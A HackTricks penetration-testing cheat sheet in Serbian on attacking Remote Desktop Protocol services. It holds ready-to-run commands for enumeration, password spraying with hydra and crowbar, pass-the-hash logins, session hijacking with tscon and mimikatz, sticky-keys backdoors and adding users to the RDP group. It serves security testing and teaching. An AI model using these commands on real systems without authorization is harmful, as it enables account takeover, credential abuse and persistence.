3389 - Pentesting RDP

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne informacije

Razvijen od strane Microsoft-a, Remote Desktop Protocol (RDP) je dizajniran da omogući grafičku interfejs vezu između računara preko mreže. Da bi se uspostavila takva veza, korisnik koristi RDP klijentski softver, dok je istovremeno potrebno da udaljeni računar koristi RDP serverski softver. Ova postavka omogućava besprekornu kontrolu i pristup desktop okruženju udaljenog računara, suštinski donoseći njegov interfejs na korisnikov lokalni uređaj.

Podrazumevani port: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeracija

Automatski

bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

Proverava dostupnu enkripciju i DoS ranjivost (bez izazivanja DoS na uslugu) i dobija NTLM Windows informacije (verzije).

Brute force

Budite oprezni, mogli biste zaključati naloge

Password Spraying

Budite oprezni, mogli biste zaključati naloge

bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Povežite se sa poznatim akreditivima/hash-om

bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Proverite poznate akreditive protiv RDP usluga

rdp_check.py iz impacket-a vam omogućava da proverite da li su neki akreditivi validni za RDP uslugu:

bash
rdp_check <domain>/<name>:<password>@<IP>

Napadi

Krađa sesija

Sa SYSTEM dozvolama možete pristupiti bilo kojoj otvorenoj RDP sesiji bilo kog korisnika bez potrebe da znate lozinku vlasnika.

Dobijte otvorene sesije:

query user

Pristup odabranoj sesiji

bash
tscon <ID> /dest:<SESSIONNAME>

Sada ćete biti unutar odabrane RDP sesije i moći ćete da se pretvarate da ste korisnik koristeći samo Windows alate i funkcije.

Važno: Kada pristupite aktivnim RDP sesijama, izbacujete korisnika koji je koristio tu sesiju.

Možete dobiti lozinke iz procesa tako što ćete ih iskopirati, ali ova metoda je mnogo brža i omogućava vam da interagujete sa virtuelnim radnim površinama korisnika (lozinke u notepadu bez čuvanja na disku, druge RDP sesije otvorene na drugim mašinama...)

Mimikatz

Takođe možete koristiti mimikatz za ovo:

bash
ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Kombinovanjem ove tehnike sa stickykeys ili utilman, moći ćete da pristupite administrativnom CMD-u i bilo kojoj RDP sesiji u bilo kojem trenutku.

Možete pretraživati RDP-ove koji su već backdoor-ovani jednom od ovih tehnika sa: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Ako se neko iz druge domene ili sa boljim privilegijama prijavi putem RDP-a na PC gde ste vi Admin, možete ubaciti svoj beacon u njegov RDP sesijski proces i delovati kao on:

RDP Sessions Abuse

Adding User to RDP group

bash
net localgroup "Remote Desktop Users" UserLoginName /add

Automatski alati

AutoRDPwn je okvir za post-exploitation kreiran u Powershell-u, dizajniran prvenstveno za automatizaciju Shadow napada na Microsoft Windows računarima. Ova ranjivost (navedena kao funkcija od strane Microsoft-a) omogućava udaljenom napadaču da pogleda radnu površinu svoje žrtve bez njenog pristanka, pa čak i da njome upravlja na zahtev, koristeći alate koji su izvorni deo samog operativnog sistema.

  • EvilRDP
  • Kontrola miša i tastature na automatizovan način iz komandne linije
  • Kontrola međuspremnika na automatizovan način iz komandne linije
  • Pokretanje SOCKS proxy-a sa klijenta koji usmerava mrežnu komunikaciju ka cilju putem RDP-a
  • Izvršavanje proizvoljnih SHELL i PowerShell komandi na cilju bez učitavanja fajlova
  • Učitavanje i preuzimanje fajlova sa/na cilj čak i kada su prenosi fajlova onemogućeni na cilju

HackTricks automatske komande

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks